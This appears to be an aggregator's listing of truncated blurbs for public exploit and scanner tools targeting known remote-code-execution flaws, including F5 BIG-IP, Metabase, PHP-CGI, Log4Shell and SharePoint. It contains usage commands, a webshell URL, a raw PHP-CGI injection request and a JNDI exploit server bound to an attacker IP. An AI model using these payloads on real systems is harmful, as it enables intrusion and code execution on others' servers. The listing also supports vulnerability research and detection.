CVE-2021-30461

Prodotti interessati VoIPmonitor 24.60 Come eseguire RCE root@kitploit: python3 CVE-2021-30461.py -t ipaddress Shell del browser: root@kitploit: http://x.x.x.x/namrlblgel.php?a=whoami Riferimento https://ssd-disclosure.com/ssd-advisory-voipmonitor-unauth-rce/...

CVE-2020-5902

🚨 CVE-2020-5902 — F5 BIG-IP TMUI RCE CVE-2020-5902 è una vulnerabilità critica di Esecuzione Remota di Codice RCE non autenticata nell'Interfaccia Utente di Gestione del Traffico TMUI / utility di configurazione di F5 BIG-IP. 📌 Panoramica Divulgata da F5 il 30 giugno 2020 pubblicata su NVD il 1°...

sharepoint-toolshell-micro-postmortem

Micropost-mortem de Incidente — Campanha “ToolShell” do Microsoft SharePoint On-Prem Este kit realiza a triagem da campanha de dia zero “ToolShell” de meados de 2025 contra o Microsoft SharePoint Server local ; o SharePoint Online está fora do escopo. Ele fornece caças reproduzíveis de ponta a...

CVE-2022-23277

exchCVE-2021-42321 Questo è lo strumento menzionato nell'articolo 'Riproduzione della vulnerabilità CVE-2022-23277 di .NET Security' del team di sicurezza 7bits La parte di autenticazione deve essere aggiunta manualmente tramite BurpSuite. Dopo lo sfruttamento riuscito, verrà scritto 1.aspx nella...

CVE-2023-46747

CVE-2023-46747 Uno script di sfruttamento sviluppato per sfruttare la CVE-2023-46747 che consente l'esecuzione remota di codice non autenticata Pre Auth RCE sui prodotti f5-BIG-IP. Questo script è inteso per sfruttare l'esecuzione remota di codice sui prodotti f5-BIG-IP vulnerabili. Installazione...

CVE-2023-38646

CVE-2023-38646 Metabase Pre-auth RCE!! Controlla il POC di sfruttamento manuale: https://youtu.be/b51LPjD-uTo...

CVE-2023-38646

CVE-2023-38646 Fork dikh4sh3i che elimina la necessità di Burp Collector. CVE-2023-38646 RCE pre-autenticazione in Metabase: Metabase open source precedente alla versione 0.46.6.1 e Metabase Enterprise precedente alla versione 1.46.6.1 consentono agli aggressori di eseguire comandi arbitrari sul...

CVE-2021-3129

CVE-2021-3129 Laravel RCE CVE-2021-3129 Schwachstellenübersicht Wenn der Debug-Modus von Laravel aktiviert ist, können Angreifer durch die unsichere Verwendung der Funktionen filegetcontents und fileputcontents durch die in Laravel integrierte Ignition-Komponente durch das Senden böswilliger...

CVE-2022-24990

CVE-2022-24990 CVE-2022-24990 TerraMaster TOS RCE non autenticata tramite istanziazione di oggetti PHP Utilizzo Rilevamento della vulnerabilità. root@kitploit: python CVE-2022-24990.py -u http://127.0.0.1:8080 Carica una webshell PHP. root@kitploit: python CVE-2022-24990.py -a http://127.0.0.1:80...

CVE-2026-49869

Kestra CVE-2026-49869 / CVE-2026-53576 Scanner Esegue la scansione delle istanze Kestra per il bypass del filtro di autenticazione endsWith"/configs". Il file AuthenticationFilter.java di Kestra controlla request.getPath.endsWith"/configs" invece di confrontare il percorso esatto /api/v1/configs...

CVE-2020-36188

Descrizione FasterXML jackson-databind 2.x prima della versione 2.9.10.8 gestisce erroneamente l'interazione tra gadget di serializzazione e tipizzazione, correlata a com.newrelic.agent.deps.ch.qos.logback.core.db.JNDIConnectionSource Come ottenere l'RCE pom.xml root@kitploit:...

CVE-2024-4577

CVE-2024-4577, Iniezione di argomenti in PHP-CGI root@kitploit: ./CVE-2024-4577.sh /path/to/domains-list POC : root@kitploit: POST /test.hello?%ADd+allowurlinclude%3d1+%ADd+autoprependfile%3dphp://input HTTP/1.1 Host: host User-Agent: curl/8.3.0 Accept: / Content-Length: 23 Content-Type:...

CVE-2025-55182-POC-SCANNER

CVE-2025-55182: RCE Critica Pre-Autenticazione nei React Server Components Ricerca sulla Sicurezza dischema.cx "Il controllo è un'illusione. Sono i sistemi che costruiamo a controllarci—a meno che non li comprendiamo prima." 📋 Indice Disclaimer & Avviso Legale Sommario Esecutivo Descrizione Tecni...

JNDI-Exploit-1.2-log4shell

JNDI-Exploit-1.2-log4shell Dettagli : CVE-2021-44228 Utilizzo : root@kitploit: ----------------------------------------------------- java -jar JNDIExploit-1.2.jar -i AttackerIP -i, --ip Local ip address -l, --ldapPort Ldap bind port default: 1389 -p, --httpPort Http bind port default: 8080 -u,...

log4j

log4j Uno scanner automatico ed estensivo degli header per il rilevamento di log4j RCE CVE-2021-44228 Utilizzo root@kitploit: $ python3 log4j.py -l urls.txt --dns-log REPLACETHIS.dnslog.cn...

refresh

Refresh Questo container emula la funzionalità vulnerabile di CVE-2022-1388 in un router F5 che consente RCE. CVE-202201388 deriva da una relazione complicata tra diversi meccanismi di autenticazione e un proxy che rimuoveva le intestazioni, consentendo un accesso improprio agli endpoint di...

CVE-2023-34960

ChamiloCVE-2023-34960-EXP Ajuda: root@kitploit: usage: CVE-2023-34960.py -h -u URL -f FILE -c COMMAND options: -h, --help show this help message and exit -u URL, --url URL 完整URL地址http/https -f FILE, --file FILE 批量URL文件 -c COMMAND, --command COMMAND 执行命令,可选 Exemplo: root@kitploit: 单个url python3...

D-Link-NAS-CVE-2024-10914-

D-Link-NAS-CVE-2024-10914- Questo è un programma di rilevamento per la vulnerabilità RCE di D-Link Introduzione alla vulnerabilità D-Link DNS-320 e altri sono dispositivi NAS Network Attached Storage prodotti da D-Link Taiwan. Diversi prodotti D-Link presentano una vulnerabilità di sicurezza...

CVE-2025-53770

CVE-2025-53770 Questo è uno scanner multi-sito per la vulnerabilità RCE non autenticata CVE-2025-53770. Altri scanner/PoC:- https://github.com/hazcod/CVE-2025-53770 https://github.com/MuhammadWaseem29/CVE-2025-53770 CVE-2025-53770 Sharepoint RCE Impatto: Gli attaccanti non autenticati possono...

CVE-2018-16763_FuelCMS-1.4.1_RCE

CVE-2018-16763 FuelCMS - 1.4.1 - RCE PoC FuelCMS 1.4.1 ermöglicht die Auswertung von PHP-Code über den Filterparameter pages/select/ oder den Datenparameter preview/. Dies kann zu einer Remote-Codeausführung ohne vorherige Authentifizierung führen. Exploit Dies funktioniert durch Ausnutzung des...